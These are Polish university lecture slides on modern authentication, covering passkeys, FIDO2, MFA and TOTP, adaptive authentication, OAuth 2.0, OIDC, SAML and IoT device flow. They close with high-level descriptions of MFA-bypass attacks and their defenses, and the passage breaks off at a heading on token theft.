Uwierzytelnianie - II

Bezpieczeństwo systemów informatycznych

Marek Miśkiewicz

2026-01-04

PLAN

1. Wprowadzenie
2. Nowoczesne podejścia
3. Uwierzytelnianie w systemach złożonych
4. Perspektywa bezpieczeństwa
5. Przyszłość uwierzytelniania
6. Podsumowanie

1. Wprowadzenie

Motywacja – dlaczego klasyczne metody przestają wystarczać?

Tradycyjne metody uwierzytelniania (hasła, Kerberos, PKI) stanowiły fundament bezpieczeństwa przez dekady. Jednak współczesny świat IT stawia przed nimi nowe wyzwania:

- **Mobilność** – użytkownicy pracują z różnych urządzeń i lokalizacji.
- **Chmura** – dane i aplikacje są rozproszone.
- **Wzrost ataków** – phishing, credential stuffing, ataki socjotechniczne.
- **Doświadczenie użytkownika** – użytkownicy oczekują wygody bez kompromisów w bezpieczeństwie.

! Ważne

Klasyczne podejścia oparte wyłącznie na hasłach **nie wystarczają** w obliczu współczesnych zagrożeń.

Nowe wymogi bezpieczeństwa

Współczesne systemy uwierzytelniania muszą spełniać dodatkowe kryteria:

Bezpieczeństwo:

- **Odporność na phishing** – ochrona przed podszywaniem się.
- **Minimalizacja konsekwencji wycieku** – brak możliwości odtworzenia uwierzytelnienia z przechwyconych danych.
- **Wieloskładnikowość** – łączenie różnych czynników (wiedza, posiadanie, biometria).

Użyteczność:

- **Prostota** – szybki i intuicyjny proces logowania.
- **Dostępność** – działanie na różnych platformach i urządzeniach.
- **Skalowalność** – obsługa milionów użytkowników w systemach rozproszonych.

Nowe wymogi bezpieczeństwa

Kontekst mobilny i chmurowy:

- **Brak fizycznej kontroli** – użytkownicy logują się z dowolnego miejsca.
- **Różnorodność urządzeń** – smartfony, tablety, laptopy, IoT.
- **Zaufanie zerowe (Zero Trust)** – weryfikuj zawsze, nigdy nie ufaj domyślnie.
- **Ciągłe uwierzytelnianie** – monitorowanie sesji w czasie rzeczywistym.

i Adnotacja

Współczesne uwierzytelnianie to **proces ciągły**, a nie jednorazowe zdarzenie przy logowaniu.

Ewolucja podejść

Podejście	Era	Główna idea	Ograniczenia
Hasła	1960+	Co wiesz	Słabe, podatne na ataki
PKI	1990+	Certyfikaty	Złożoność zarządzania
MFA	2000+	Wiele czynników	Wciąż podatne na phishing
Passwordless	2015+	FIDO2, biometria	Wymaga wsparcia sprzętowego
Adaptive Auth	2020+	Kontekst + ML	Złożoność, prywatność

Cel wykładu

W tym wykładzie poznamy:

1. **Nowoczesne metody** – passwordless, MFA, adaptive authentication.
2. **Protokoły dla systemów złożonych** – OAuth 2.0, OpenID Connect, SAML.
3. **Specyficzne środowiska** – mobile, chmura, IoT.
4. **Zagrożenia** – nowe ataki i strategie obrony.
5. **Przyszłość** – trendy, AI, post-quantum crypto.

Nasze podejście: **teoria + praktyka + bezpieczeństwo**.

2. Nowoczesne podejścia

Passwordless Authentication

Czym jest uwierzytelnianie bezhasłowe?

Passwordless to podejście eliminujące tradycyjne hasła i zastępujące je bardziej bezpiecznymi mechanizmami.

Główne zalety:

- Eliminacja problemów związanych z hasłami (słabe hasła, powtórzenia, wycieki).
- Odporność na phishing – brak hasła do kradzieży.
- Lepsza użyteczność – szybsze i wygodniejsze logowanie.

Kluczowe technologie:

- **FIDO2** (Fast Identity Online 2)
- **WebAuthn** (Web Authentication API)
- **Passkeys**

FIDO2 i WebAuthn – zasada działania

FIDO2 – standard

FIDO2 to otwarty standard uwierzytelniania opracowany przez FIDO Alliance.

Komponenty:

1. **WebAuthn** – API w przeglądarkach i systemach operacyjnych.
2. **CTAP2** (Client to Authenticator Protocol) – komunikacja między urządzeniem a autentyfikatorem (np. YubiKey, Touch ID).

Cel: Uwierzytelnianie bez hasła, oparte na kryptografii asymetrycznej.

FIDO2 i WebAuthn – zasada działania

Jak to działa?

Rejestracja (enrollment):

1. Użytkownik odwiedza stronę i wybiera “zarejestruj się bez hasła”.
2. Przeglądarka wywołuje WebAuthn API.
3. Autentyfikator (np. biometria w telefonie) generuje **parę kluczy** (publiczny/prywatny).
4. **Klucz publiczny** trafia do serwera, **klucz prywatny** pozostaje na urządzeniu.
5. Serwer przechowuje klucz publiczny powiązany z kontem użytkownika.

> **i** Adnotacja
>
> Klucz prywatny **nigdy nie opuszcza** urządzenia użytkownika.

FIDO2 i WebAuthn – zasada działania

Jak to działa?

Uwierzytelnianie (authentication):

1. Użytkownik próbuje się zalogować.
2. Serwer wysyła **challenge** (losowe wyzwanie).
3. Autentyfikator podpisuje challenge kluczem prywatnym.
4. Przeglądarka wysyła **podpis** do serwera.
5. Serwer weryfikuje podpis używając przechowywanego klucza publicznego.

Wynik: Użytkownik uwierzytelniony bez hasła, odpornie na phishing.

Passkeys – przyszłość uwierzytelniania

Czym są Passkeys?

Passkeys to implementacja standardu FIDO2 przez Apple, Google i Microsoft (2022+).

Główne cechy:

- Synchronizacja między urządzeniami (iCloud Keychain, Google Password Manager).
- Działają na różnych platformach (iOS, Android, Windows, macOS).
- Integracja z biometrią urządzenia (Face ID, Touch ID, Windows Hello).
- Możliwość używania na różnych urządzeniach (QR code).

Passkeys – przyszłość uwierzytelniania

Jak użytkownik korzysta z Passkeys?

Scenariusz:

1. Użytkownik odwiedza stronę i wybiera “zaloguj się z Passkey”.
2. System prosi o autoryzację biometryczną (odcisk palca, twarz).
3. Passkey automatycznie podpisuje wyzwanie.
4. Użytkownik zalogowany – **bez hasła, bez SMS, bez kodów**.

> **!** Ważne
>
> Passkeys eliminują phishing – nawet jeśli użytkownik odwiedzi fałszywą stronę, Passkey **nie zadziała**, bo weryfikuje domenę.

Passkeys – architektura

Schemat działania Passkeys:

```
1. Użytkownik → Przeglądarka:      "Zaloguj się"
2. Przeglądarka → Serwer:          "Poproś o challenge"
3. Serwer → Przeglądarka:           Challenge (nonce)
4. Przeglądarka → Autentyfikator:  "Podpisz challenge"
5. Autentyfikator → Użytkownik:    "Autoryzuj biometrycznie"

6. Użytkownik:      Potwierdza (Face ID/Touch ID)

7. Autentyfikator → Przeglądarka:   Podpisany challenge
8. Przeglądarka → Serwer:           Podpis

9. Serwer:          Weryfikuje podpis kluczem publicznym
```

Passwordless – zalety i wyzwania

Zalety:

- **Bezpieczeństwo** – eliminacja ataków na hasła (phishing, credential stuffing).
- **Wygoda** – szybkie logowanie, brak zapamiętywania haseł.
- **Prywatność** – klucze prywatne nie opuszczają urządzenia.

Wyzwania:

- **Wsparcie przeglądarek** – nie wszystkie wersje wspierają WebAuthn.
- **Urządzenia legacy** – starsze systemy bez biometrii.
- **Utrata urządzenia** – potrzebny mechanizm odzyskiwania dostępu.
- **Adopcja** – użytkownicy muszą zaufać nowej technologii.

Wieloskładnikowe uwierzytelnianie (MFA)

Czym jest MFA?

Multi-Factor Authentication (MFA) – uwierzytelnianie wymagające co najmniej dwóch różnych czynników.

Trzy kategorie czynników:

1. **Wiedza (Knowledge)** – coś, co **wiesz**
   - Hasło, PIN, odpowiedź na pytanie bezpieczeństwa.
2. **Posiadanie (Possession)** – coś, co **masz**
   - Telefon, token sprzętowy (YubiKey), karta inteligentna.
3. **Cechy biometryczne (Inherence)** – coś, czym **jesteś**
   - Odcisk palca, skan twarzy, tęczówka oka, głos.

MFA – dlaczego jest ważne?

Obrona wielowarstwowa

- Nawet jeśli jedno zabezpieczenie zawiedzie (np. wyciek hasła), drugi czynnik chroni dostęp.
- **Statystyki:** MFA blokuje ~99.9% automatycznych ataków (Microsoft, 2019).

Typowe scenariusze:

- **Bankowość** – hasło + SMS z kodem.
- **Korporacje** – hasło + aplikacja mobilna (Duo, Microsoft Authenticator).
- **E-mail** – hasło + kod z aplikacji TOTP.

! Ważne

MFA nie jest całkowicie odporne na phishing (np. przekazanie kodu atakującemu), ale znacznie podnosi poprzeczkę.

TOTP – Time-based One-Time Password

Jak działa TOTP?

TOTP to algorytm generujący jednorazowe hasła na podstawie:

1. **Współdzielonego sekretu** (ustalonego podczas rejestracji).
2. **Aktualnego czasu** (podzielonego na 30-sekundowe okna).

Funkcja: `TOTP = HMAC-SHA1(secret, current_time_step)`

Właściwości:

- Kody ważne przez krótki czas (zwykle 30 sekund).
- Synchronizacja oparta na zegarze (nie wymaga komunikacji z serwerem).
- Standard: RFC 6238.

TOTP – demo w Pythonie

Implementacja TOTP

```python
import pyotp
import time

# 1. Generowanie sekretu (rejestracja)
secret = pyotp.random_base32()
print(f"Sekret: {secret}")

# 2. Generowanie kodu TOTP
totp = pyotp.TOTP(secret)
current_code = totp.now()
print(f"Aktualny kod TOTP: {current_code}")

# 3. Weryfikacja kodu
user_input = input("Podaj kod TOTP: ")
if totp.verify(user_input):
    print("✓ Uwierzytelnienie udane!")
else:
    print("× Nieprawidłowy kod!")

# 4. Generowanie QR code dla Google Authenticator
uri = totp.provisioning_uri(name="user@example.com",
                            issuer_name="MojaAplikacja")
print(f"URI: {uri}")
```

TOTP – demo w Pythonie

Wyjaśnienie kodu:

1. **`pyotp.random_base32()`** – generuje losowy sekret (współdzielony między serwerem a użytkownikiem).
2. **`totp.now()`** – generuje aktualny 6-cyfrowy kod na podstawie czasu.
3. **`totp.verify(user_input)`** – weryfikuje, czy kod podany przez użytkownika jest poprawny.
4. **`provisioning_uri()`** – generuje URI do QR code, który można zeskanować aplikacją (Google Authenticator, Authy).

> **i** Adnotacja
>
> **Ćwiczenie dla studentów:** Zaimplementuj własny serwer TOTP i przetestuj z aplikacją mobilną.

Tokeny sprzętowe – YubiKey

Czym jest YubiKey?

YubiKey to fizyczny token USB/NFC służący do uwierzytelniania.

Funkcje:

- **FIDO2/WebAuthn** – uwierzytelnianie bezhasłowe.
- **TOTP** – generowanie kodów jednorazowych.
- **U2F** – drugi czynnik dla serwisów (Google, GitHub, Facebook).
- **PIV/OpenPGP** – podpisy cyfrowe i certyfikaty.

Zalety:

- Klucz prywatny **nigdy nie opuszcza** urządzenia.
- Odporność na phishing (weryfikacja domeny).
- Fizyczny dowód posiadania.

Tokeny sprzętowe – YubiKey

Przykład użycia:

Scenariusz: Logowanie do GitHub

1. Użytkownik wpisuje hasło.
2. GitHub prosi o drugi czynnik.
3. Użytkownik wkłada YubiKey do USB i dotyka przycisku.
4. YubiKey podpisuje wyzwanie (challenge).
5. GitHub weryfikuje podpis → dostęp przyznany.

> ⚠ Ostrzeżenie
>
> **Backup:** Zawsze konfiguruj **drugi YubiKey** jako backup – jeśli zgubisz jeden, drugi umożliwi odzyskanie dostępu.

Biometria – zalety i ograniczenia

Rodzaje biometrii:

- **Odciski palców** – najpopularniejsze (Touch ID, czytniki w laptopach).
- **Rozpoznawanie twarzy** – Face ID (Apple), Windows Hello.
- **Tęczówka oka** – wysokie bezpieczeństwo, rzadziej stosowane.
- **Głos** – używane w call center, inteligentnych asystentach.
- **Biometria behawioralna** – sposób pisania, chód.

Biometria – zalety i ograniczenia

Zalety:

- **Wygoda** – szybkie i bezproblemowe uwierzytelnienie.
- **Trudne do sfałszowania** – cechy unikalne dla każdego człowieka.
- **Niemożliwość zapomnienia** – nie trzeba pamiętać hasła.

Ograniczenia:

- **Nieodwracalność** – nie można "zmienić" odcisku palca jak hasła.
- **Prywatność** – dane biometryczne są wrażliwe (RODO).
- **False positives/negatives** – błędy akceptacji/odrzucenia.
- **Ataki** – fałszywe odciski, zdjęcia twarzy (spoofing).

⚠ Ostrzeżenie

Bezpieczeństwo: Biometria powinna być przechowywana **lokalnie** (Secure Enclave, TEE), nigdy w chmurze w postaci jawnej.

Biometria – przykłady ataków

Spoofing attacks:

- **Odciski palców** – odtworzenie z fotografii (możliwe, ale trudne).
- **Twarz** – zdjęcie vs. Face ID (Face ID używa głębi 3D → trudniejsze).
- **Głos** – synteza głosu AI (deepfake).

Obrona:

- **Liveness detection** – wykrywanie, czy biometria pochodzi od żywej osoby.
- **Multi-modal biometrics** – łączenie kilku cech (twarz + głos).
- **MFA** – biometria jako jeden z czynników, nie jedyny.

MFA – dobre praktyki

Dla użytkowników:

- Włącz MFA wszędzie, gdzie to możliwe (banki, e-mail, media społecznościowe).
- Używaj aplikacji TOTP (Google Authenticator, Authy) zamiast SMS.
- Skonfiguruj backup (kody odzyskiwania, drugi token).

Dla administratorów:

- Wymuś MFA dla kont uprzywilejowanych (admin, root).
- Unikaj SMS jako jedynego drugiego czynnika (podatne na SIM swapping).
- Monitoruj nietypowe logowania (nowa lokalizacja, urządzenie).

i Adnotacja

NIST: SMS nie jest zalecane jako MFA w krytycznych systemach (SP 800-63B).

Porównanie metod MFA

Metoda	Wygoda	Bezpieczeństwo	Koszt	Odporność na phishing
SMS	Wysoka	Niska	Niski	Niska (podatne na SIM swap)
TOTP	Średnia	Średnia	Niski	Średnia
Push notification	Wysoka	Średnia	Średni	Średnia (fatigue attacks)
YubiKey (FIDO2)	Wysoka	Bardzo wysoka	Wysoki	Bardzo wysoka
Biometria	Bardzo wysoka	Wysoka	Średni	Wysoka (z liveness)

Continuous i Adaptive Authentication

Od statycznego do ciągłego uwierzytelniania

Tradycyjnie uwierzytelnianie to **jednokrotne zdarzenie** przy logowaniu:

- Podajesz hasło → wchodzisz do systemu → sesja trwa godzinami.
- Problem: co jeśli po zalogowaniu urządzenie zostanie skradzione?

Continuous Authentication – **ciągła weryfikacja** tożsamości podczas całej sesji.

Adaptive Authentication – **dostosowanie** poziomu weryfikacji do **kontekstu i ryzyka**.

Continuous Authentication – jak to działa?

Analiza behawioralna

System monitoruje zachowanie użytkownika w czasie rzeczywistym:

- **Wzorce pisania** – tempo, rytm, charakterystyczne błędy.
- **Ruchy myszki** – trajektorie, prędkość, kliknięcia.
- **Interakcje z aplikacją** – sekwencje działań, czas spędzony na stronach.

Cel: Wykryć, gdy użytkownik nagle zmienia się (np. przejęcie sesji).

> **i** Adnotacja
>
> Continuous Authentication to **monitorowanie w tle** – użytkownik nie jest przerywany, chyba że wykryto anomalię.

Adaptive Authentication – kontekstowe sygnały

Czynniki ryzyka:

System ocenia ryzyko na podstawie kontekstu logowania:

1. **Lokalizacja geograficzna**
   - Niemożliwe podróże (logowanie z Polski, 5 minut później z USA).
   - Kraje o wysokim ryzyku.
2. **Urządzenie**
   - Znane vs. nowe urządzenie.
   - Przeglądarka, system operacyjny, fingerprinting.
3. **Sieć**
   - IP publiczne vs. VPN/Tor.
   - Historia logowań z danego IP.
4. **Czas i częstotliwość**
   - Logowanie o nietypowej porze (3 w nocy).
   - Zbyt częste próby logowania.

Adaptive Authentication – mechanizm działania

Proces decyzyjny:

1. Użytkownik próbuje się zalogować
2. System oblicza SCORE ryzyka (0-100)
3. Na podstawie score:
   - Niskie ryzyko (0-30): Login bez dodatkowych kroków
   - Średnie ryzyko (31-70): Wymagaj MFA
   - Wysokie ryzyko (71-100): Blokada + powiadomienie admina

Przykład:

- Logowanie z domu, o 10:00, znane urządzenie → **Niskie ryzyko** → Brak MFA.
- Logowanie z nowego kraju, o 3:00, nowe urządzenie → **Wysokie ryzyko** → MFA + e-mail z alertem.

Wykorzystanie Machine Learning

Modele ML w uwierzytelnianiu:

- **Supervised Learning** – uczenie na znanych wzorcach ataków.
- **Unsupervised Learning** – wykrywanie anomalii (outliers).
- **Reinforcement Learning** – dostosowywanie polityk na podstawie feedbacku.

Przykłady zastosowań:

- **Wykrywanie botów** – analiza wzorców interakcji (CAPTCHA alternative).
- **Profilowanie użytkowników** – budowanie modelu "normalnego" zachowania.
- **Predykcja ataków** – wykrywanie credential stuffing w czasie rzeczywistym.

Wykorzystanie Machine Learning

Przykładowe cechy (features) dla ML:

```
features = {
    'login_hour': 14,                # Godzina logowania
    'device_known': True,             # Czy urządzenie znane
    'geo_distance_km': 0,             # Odległość od ostatniego logowania
    'failed_attempts_24h': 0,         # Nieudane próby w ostatnich 24h
    'session_duration_avg': 3600,     # Średni czas sesji użytkownika
    'typing_speed_wpm': 65,           # Prędkość pisania
    'mouse_movement_variance': 0.23 # Wariancja ruchów myszki
}

risk_score = ml_model.predict(features)  # 0-100
```

Zalety i wyzwania

Zalety:

- **Bezpieczeństwo** – wykrywanie przejęcia sesji w czasie rzeczywistym.
- **UX** – użytkownicy o niskim ryzyku nie są niepotrzebnie weryfikowani.
- **Elastyczność** – dostosowanie do kontekstu (praca vs. podróż).

Wyzwania:

- **Prywatność** – śledzenie zachowań użytkowników (RODO, consent).
- **False positives** – blokowanie legalnych użytkowników (np. zmiana urządzenia).
- **Złożoność** – trudne w implementacji i utrzymaniu.
- **Bias w ML** – modele mogą dyskryminować pewne grupy użytkowników.

> ⚠ Ostrzeżenie
>
> **Etyka:** Ciągłe monitorowanie musi być **transparentne** i zgodne z przepisami o ochronie danych.

Przykłady zastosowań

Google: Advanced Protection Program

- Analiza lokalizacji, urządzeń, wzorców logowania.
- Adaptacyjne wymaganie MFA w podejrzanych sytuacjach.
- Powiadomienia push o próbach logowania z nowych urządzeń.

Microsoft: Conditional Access

- Polityki oparte na ryzyku (Azure AD Identity Protection).
- Wymaganie MFA dla logowań z nieznanych lokalizacji.
- Blokowanie logowań z krajów o wysokim ryzyku.

Bankowość:

- Ciągła analiza transakcji pod kątem anomalii.
- Step-up authentication – dodatkowa weryfikacja przy dużych transferach.

Przyszłość – Zero Trust Architecture

Zero Trust: “Nigdy nie ufaj, zawsze weryfikuj”

Tradycyjny model bezpieczeństwa zakładał zaufanie wewnątrz sieci (perimeter security).

Zero Trust zakłada:

- **Brak zaufania domyślnego** – nawet dla użytkowników wewnątrz sieci.
- **Weryfikacja każdego dostępu** – do każdego zasobu, każdorazowo.
- **Najmniejsze uprawnienia** (Least Privilege) – tylko to, co potrzebne.
- **Ciągłe monitorowanie** – sesje są weryfikowane przez cały czas.

Adaptive Authentication jest kluczowym elementem Zero Trust.

3. Uwierzytelnianie w systemach złożonych

Wprowadzenie – wyzwania systemów rozproszonych

Współczesne aplikacje to rzadko monolityczne systemy – częściej są to:

- **Mikroserwisy** – dziesiątki lub setki niezależnych usług.
- **Aplikacje chmurowe** – dane i logika rozproszone między dostawcami.
- **Federacja tożsamości** – jeden login dla wielu aplikacji (SSO).
- **Integracje third-party** – aplikacje korzystają z API zewnętrznych.

Problem: Jak bezpiecznie uwierzytelniać użytkowników w takim środowisku?

OAuth 2.0 – podstawy

Czym jest OAuth 2.0?

OAuth 2.0 to protokół **autoryzacji** (nie uwierzytelniania!), który pozwala aplikacjom uzyskać **ograniczony dostęp** do zasobów użytkownika **bez udostępniania hasła**.
Przykład: “Zezwól aplikacji FotoEditor na dostęp do twoich zdjęć na Google Drive.”

> **!** Ważne
>
> OAuth 2.0 to **autoryzacja**, nie uwierzytelnianie. Odpowiada na pytanie **“co aplikacja może zrobić?”**, a nie **“kim jest użytkownik?”**.

OAuth 2.0 – role

Cztery główne role:

1. **Resource Owner (właściciel zasobu)** – użytkownik, który posiada dane.
2. **Client (klient)** – aplikacja, która chce uzyskać dostęp do danych użytkownika.
3. **Authorization Server (serwer autoryzacji)** – wydaje tokeny dostępu (np. Google, Facebook).
4. **Resource Server (serwer zasobów)** – przechowuje chronione dane użytkownika (np. Google Drive API).

OAuth 2.0 – podstawowy przepływ (Authorization Code)

Krok po kroku:

1. Użytkownik → Client: "Chcę użyć aplikacji"
2. Client → Authorization Server: Przekierowanie do logowania
3. Użytkownik → Auth Server: Logowanie i zgoda na dostęp
4. Auth Server → Client: Authorization Code
5. Client → Auth Server: Wymiana Code na Access Token
6. Auth Server → Client: Access Token
7. Client → Resource Server: Żądanie danych z Access Token
8. Resource Server → Client: Dane użytkownika

i Adnotacja

Authorization Code to jednorazowy token wymieniany na **Access Token**. Zwiększa bezpieczeństwo – kod jest krótko ważny.

OAuth 2.0 – typy tokenów

Access Token

- Krótkoterminowy (minuty/godziny).
- Używany do dostępu do zasobów.
- Format: JWT lub opaque string.

Refresh Token

- Długoterminowy (dni/miesiące).
- Służy do odświeżenia Access Token bez ponownego logowania.
- Przechowywany bezpiecznie (nie w przeglądarce).

> ⚠ Ostrzeżenie
>
> **Bezpieczeństwo:** Access Token powinien być krótko ważny. Refresh Token musi być chroniony jak hasło.

OAuth 2.0 – rodzaje przepływów (flows)

Flow	Przypadek użycia	Bezpieczeństwo
Authorization Code	Aplikacje webowe z backendem	Wysokie
Authorization Code + PKCE	Aplikacje mobilne/SPA	Bardzo wysokie
Implicit (deprecated)	Stare SPA	Niskie – **nie używać**
Client Credentials	Komunikacja serwer-serwer	Wysokie
Resource Owner Password (deprecated)	Legacy – **unikać**	Niskie

! Ważne

Zalecenia: Używaj **Authorization Code + PKCE** dla wszystkich aplikacji publicznych (mobile, SPA).

OAuth 2.0 – PKCE (Proof Key for Code Exchange)

Problem:

W aplikacjach mobilnych/SPA napastnik może przechwycić Authorization Code (brak Client Secret).

Rozwiązanie: PKCE

1. Client generuje losowy **code_verifier**.
2. Oblicza **code_challenge** = SHA256(code_verifier).
3. Wysyła code_challenge do Authorization Server.
4. Po otrzymaniu Code, Client wysyła code_verifier.
5. Serwer weryfikuje: SHA256(code_verifier) == code_challenge.

Efekt: Nawet jeśli napastnik przechwyci Authorization Code, nie może go wymienić na token (brak code_verifier).

OpenID Connect (OIDC) – uwierzytelnianie nad OAuth 2.0

Czym jest OIDC?

OpenID Connect to warstwa **uwierzytelniania** zbudowana na OAuth 2.0.

- OAuth 2.0 → **autoryzacja** (“co możesz zrobić?”)
- OIDC → **uwierzytelnianie** (“kim jesteś?”)

Dodaje:

- **ID Token** (JWT) – zawiera informacje o użytkowniku (sub, name, email).
- **UserInfo endpoint** – dodatkowe dane użytkownika.
- **Standaryzowane scope**: `openid`, `profile`, `email`.

OpenID Connect – przepływ

Rozszerzenie Authorization Code:

1-5. [Standardowy OAuth 2.0 Authorization Code Flow]
6. Auth Server → Client: Access Token + ID Token + Refresh Token
7. Client dekoduje ID Token (JWT):

```
{
  "sub": "user123",
  "name": "Jan Kowalski",
  "email": "jan@example.com",
  "iat": 1234567890
}
```

8. Client → UserInfo endpoint: Access Token
9. UserInfo → Client: Dodatkowe dane użytkownika

i Adnotacja

ID Token to JWT podpisany przez Authorization Server. Client może go zweryfikować lokalnie bez kontaktu z serwerem.

OIDC – ID Token (JWT)

Struktura ID Token:

```
{
  "iss": "https://auth.example.com",      // Wystawca
  "sub": "user123",                       // Identyfikator użytkownika
  "aud": "client_app_id",                 // Odbiorca (Client ID)
  "exp": 1735689600,                      // Czas wygaśnięcia
  "iat": 1735686000,                      // Czas wystawienia
  "name": "Jan Kowalski",
  "email": "jan@example.com",
  "email_verified": true
}
```

Weryfikacja:

1. Sprawdź podpis (klucz publiczny z JWKS endpoint).
2. Sprawdź aud (czy token jest dla twojej aplikacji).
3. Sprawdź exp (czy token nie wygasł).

SAML – Security Assertion Markup Language

Czym jest SAML?

SAML to standard **XML-owy** do wymiany informacji o uwierzytelnianiu i autoryzacji.

- Popularny w środowiskach **korporacyjnych** i **enterprise**.
- Starszy niż OAuth/OIDC, ale wciąż szeroko używany.
- Umożliwia **SSO** (Single Sign-On) między organizacjami (federacja).

Komponenty:

- **Identity Provider (IdP)** – uwierzytelnia użytkowników (np. Active Directory).
- **Service Provider (SP)** – aplikacja docelowa (np. Salesforce, Slack).

SAML – podstawowy przepływ (SP-initiated)

Krok po kroku:

1. Użytkownik → SP: Próba dostępu do aplikacji
2. SP → Browser: Przekierowanie do IdP (SAML Request)
3. Browser → IdP: Przekazanie SAML Request
4. IdP → Użytkownik: Logowanie (jeśli nie zalogowany)
5. IdP → Browser: SAML Response (assertion)
6. Browser → SP: Przekazanie SAML Response
7. SP weryfikuje assertion: Sprawdza podpis, atrybuty
8. SP → Użytkownik: Dostęp przyznany

> **i** Adnotacja
>
> **SAML Assertion** to dokument XML podpisany przez IdP, zawierający informacje o użytkowniku i atrybutach (role, grupy).

OAuth/OIDC vs SAML – porównanie

Cecha	OAuth 2.0 + OIDC	SAML 2.0
Format	JSON (JWT)	XML
Przypadki użycia	API, mobile, SPA	Enterprise SSO
Złożoność	Niższa	Wyższa
Wsparcie mobile	Doskonałe	Słabe
Adopcja	Szybko rośnie	Stabilna (legacy)
Federacja	Możliwa	Natywna

! Ważne

Trend: Nowe aplikacje wybierają OAuth 2.0 + OIDC. SAML wciąż dominuje w środowiskach enterprise z legacy systems.

Dobre praktyki – OAuth/OIDC/SAML

OAuth 2.0:

- Używaj **Authorization Code + PKCE** dla aplikacji publicznych.
- **Krótkie** Access Tokens (minuty/godziny), bezpieczne Refresh Tokens.
- Waliduj `redirect_uri` – zapobiegaj open redirect.

OIDC:

- Zawsze weryfikuj **podpis ID Token**.
- Sprawdzaj aud, `iss`, `exp` – zabezpieczenie przed replay.

SAML:

- Wymuś **podpisy** na assertions i responses.
- Ograniczaj `NotOnOrAfter` – krótkie okno ważności.
- Używaj HTTPS – SAML przesyła wrażliwe dane.

Uwierzytelnianie mobilne

Specyfika środowiska mobilnego:

- **Biometria** – Touch ID, Face ID (iOS), biometric API (Android).
- **Secure storage** – Keychain (iOS), Keystore (Android).
- **Deep linking** – przekierowania OAuth przez aplikacje.
- **Brak możliwości ukrycia Client Secret** – wymaga PKCE.

Zalety:

- Wygoda – szybkie logowanie biometryczne.
- Bezpieczeństwo – klucze przechowywane w Secure Enclave/TEE.

Wyzwania:

- Różnorodność urządzeń i wersji OS.
- Utrata urządzenia – odzyskiwanie dostępu.

Uwierzytelnianie mobilne – tokeny i aplikacje

Aplikacje uwierzytelniające:

- **Google Authenticator**, **Authy** – TOTP.
- **Duo Mobile**, **Microsoft Authenticator** – push notifications + TOTP.
- **1Password**, **Bitwarden** – menedżery haseł z TOTP.

Przepływ uwierzytelniania mobilnego:

1. Użytkownik loguje się na telefonie (hasło/biometria).
2. Aplikacja wysyła Access Token do API.
3. API weryfikuje token (JWT lub opaque → introspection).
4. Aplikacja przechowuje Refresh Token w Secure Storage.
5. Przy wygaśnięciu Access Token → odświeżenie przez Refresh Token.

Uwierzytelnianie IoT

Wyzwania IoT:

- **Ograniczone zasoby** – mała pamięć, słaby procesor.
- **Brak interfejsu użytkownika** – trudność z tradycyjnym logowaniem.
- **Skalowanie** – miliony urządzeń.
- **Długi cykl życia** – urządzenia działają latami bez aktualizacji.

> ⚠ Ostrzeżenie
>
> **Bezpieczeństwo IoT** jest krytyczne – skompromitowane urządzenia mogą tworzyć botnety (np. Mirai).

Uwierzytelnianie IoT – lekkie protokoły

DTLS (Datagram TLS)

- Wersja TLS dla **UDP** (niski narzut).
- Używane w CoAP (Constrained Application Protocol).

Uproszczone PKI:

- Certyfikaty wbudowane podczas produkcji.
- Lightweight certificate formats (np. CBOR).

OAuth 2.0 Device Flow:

- Użytkownik autoryzuje urządzenie przez przeglądarkę.
- Urządzenie wyświetla kod → użytkownik wpisuje na stronie.

Uwierzytelnianie IoT – przykład Device Flow

OAuth 2.0 Device Authorization Grant:

1. IoT Device → Auth Server: Żądanie device_code i user_code
2. Auth Server → Device: device_code, user_code, verification_uri
3. Device wyświetla: "Wejdź na example.com/device i wpisz: ABCD-1
4. Użytkownik → Browser: Wchodzi na verification_uri i wpisuje kod
5. Użytkownik → Auth Server: Autoryzuje urządzenie
6. Device → Auth Server (polling): "Czy użytkownik już autoryzował?"
7. Auth Server → Device: Access Token (po autoryzacji)

Zalety: Bezpieczne, bez potrzeby wprowadzania hasła na urządzeniu IoT.

4. Perspektywa bezpieczeństwa

Ataki na nowoczesne metody uwierzytelniania

Nowoczesne metody (MFA, passwordless, OAuth) są bardziej bezpieczne niż tradycyjne hasła, ale **nie są nieomylne**.

Główne kategorie ataków:

- **Bypass MFA** – obejście drugiego czynnika.
- **Token theft** – kradzież Access/Refresh Tokens.
- **Phishing-resistant attacks** – ataki mimo FIDO2.
- **Session hijacking** – przejęcie aktywnej sesji.
- **Ataki na biometrię** – spoofing, deepfakes.

> ⚠ Ostrzeżenie
>
> **Zasada:** Każda warstwa bezpieczeństwa może być zaatakowana. Kluczem jest **obrona wielowarstwowa**.

MFA Bypass – MFA Fatigue

Czym jest MFA Fatigue?

Atakujący ma hasło użytkownika i wielokrotnie próbuje się zalogować, generując **dziesiątki powiadomień push** na telefon ofiary.

Scenariusz:

1. Napastnik zna hasło użytkownika (phishing, wyciek).
2. Próbuje zalogować się wielokrotnie.
3. Użytkownik otrzymuje **20-30 powiadomień push** w ciągu kilku minut.
4. Sfrustrowany użytkownik **klika "Akceptuj"**, żeby przestały przychodzić.
5. Napastnik uzyskuje dostęp.

Prawdziwy przypadek: Atak na Uber (2022) – napastnik wykorzystał MFA fatigue przeciwko pracownikowi.

MFA Bypass – SIM Swapping

Czym jest SIM Swapping?

Napastnik przejmuje numer telefonu ofiary przez inżynierię socjalną w operatorze telefonicznym.

Scenariusz:

1. Napastnik zbiera dane o ofierze (social media, wycieki).
2. Dzwoni do operatora, podszywa się pod ofiarę.
3. Prosi o przeniesienie numeru na nową kartę SIM.
4. Operator przenosi numer → napastnik przejmuje SMS-y.
5. Napastnik resetuje hasła przez SMS (kod weryfikacyjny).

Obrona: - Używaj TOTP zamiast SMS. - Skonfiguruj PIN/hasło w operatorze (SIM PIN). - Monitoruj nietypowe aktywności na koncie.

MFA Bypass – Phishing Proxy (Evilginx)

Jak działa?

Evilginx to framework do phishingu, który przechwytuje **cały proces logowania**, łącznie z MFA.

Przepływ ataku:

1. Ofiara otrzymuje phishingowy link (np. "micr0soft.com").
2. Link prowadzi do Evilginx proxy.
3. Proxy przekazuje żądania do prawdziwego serwera (Microsoft).
4. Ofiara loguje się (hasło + MFA) – myśli, że na prawdziwej stronie.
5. Proxy przechwytuje session cookie.
6. Napastnik używa przechwytconego cookie → omija MFA.

Obrona:

- FIDO2/WebAuthn – weryfikuje domenę (phishing nie zadziała).
- Edukacja użytkowników – sprawdzanie URL.
- Conditional Access – blokowanie sesji z nowych lokalizacji.

Token Theft – XSS i localStorage

Problem:
Aplikacje SPA często przechowują Access Tokens w `localStorage` lub `sessionStorage`.
